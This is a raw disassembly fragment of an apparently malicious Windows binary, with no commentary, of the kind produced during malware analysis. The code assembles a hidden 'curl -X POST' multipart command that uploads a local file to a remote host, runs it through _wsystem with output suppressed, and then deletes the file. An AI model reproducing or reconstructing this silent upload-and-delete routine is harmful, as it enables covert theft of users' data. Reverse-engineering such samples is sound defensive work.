lea rcx, [rbp + 0x3978]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x3a28]
call fcn.140011a32
mov rax, qword [rbp + 0x3938]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x3938]
call qword [rax + 0x10]
jmp 0x140023d6f
mov rax, qword [rbp + 0x448]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x448]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x428]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x428]
call qword [rax + 0x10]
mov rax, qword [rbp + 0x408]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x408]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rcx, [rbp + 0x2e0]
call fcn.14001111d
lea r8, [rbp + 0x298]
lea rdx, str.curl__X_POST__H__Content_Type:_multipart_form_data___F__file_
lea rcx, [rbp + 0x4828]
call fcn.140011cc6
mov qword [rbp + 0x4918], rax
mov rax, qword [rbp + 0x4918]
mov qword [rbp + 0x4920], rax
lea r8, [0x1400359c8]
mov rdx, qword [rbp + 0x4920]
lea rcx, [rbp + 0x4868]
call fcn.1400116f9
mov qword [rbp + 0x4928], rax
mov rax, qword [rbp + 0x4928]
mov qword [rbp + 0x4930], rax
lea r8, [rbp + 0x28]
mov rdx, qword [rbp + 0x4930]
lea rcx, [rbp + 0x48a8]
call fcn.140011c85
mov qword [rbp + 0x4938], rax
mov rax, qword [rbp + 0x4938]
mov qword [rbp + 0x4940], rax
lea r8, str.___NUL
mov rdx, qword [rbp + 0x4940]
lea rcx, [rbp + 0x3a68]
call fcn.1400116f9
nop
lea rcx, [rbp + 0x48a8]
call fcn.140011a32
nop
lea rcx, [rbp + 0x4868]
call fcn.140011a32
nop
lea rcx, [rbp + 0x4828]
call fcn.140011a32
lea rcx, [rbp + 0x3a68]
call fcn.1400113c0
mov rcx, rax
call qword [sym.imp.ucrtbased.dll__wsystem]
lea rcx, [rbp + 0x298]
call fcn.1400113c0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1400242a8
mov dword [rbp + 0x48e4], 1
lea rcx, [rbp + 0x3a68]
call fcn.140011a32
nop
lea rcx, [rbp + 0x518]
call fcn.140011a32
nop
lea rcx, [rbp + 0x2e0]
call fcn.140011ba4
nop
lea rcx, [rbp + 0x298]
call fcn.140011a32
nop
lea rcx, [rbp + 0x28]
call fcn.140011a32
mov eax, dword [rbp + 0x48e4]
jmp 0x1400242f5
mov dword [rbp + 0x4904], 0
lea rcx, [rbp + 0x3a68]
call fcn.140011a32
nop
lea rcx, [rbp + 0x518]
call fcn.140011a32
nop
lea rcx, [rbp + 0x2e0]
call fcn.140011ba4
nop
lea rcx, [rbp + 0x298]
call fcn.140011a32
nop
lea rcx, [rbp + 0x28]
call fcn.140011a32
mov eax, dword [rbp + 0x4904]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x140033650]
call fcn.1400119c4
mov rax, rdi
mov rcx, qword [rbp + 0x4958]
xor rcx, rbp
call fcn.140011573
lea rsp, [rbp + 0x4968]
pop rdi
pop rbp
ret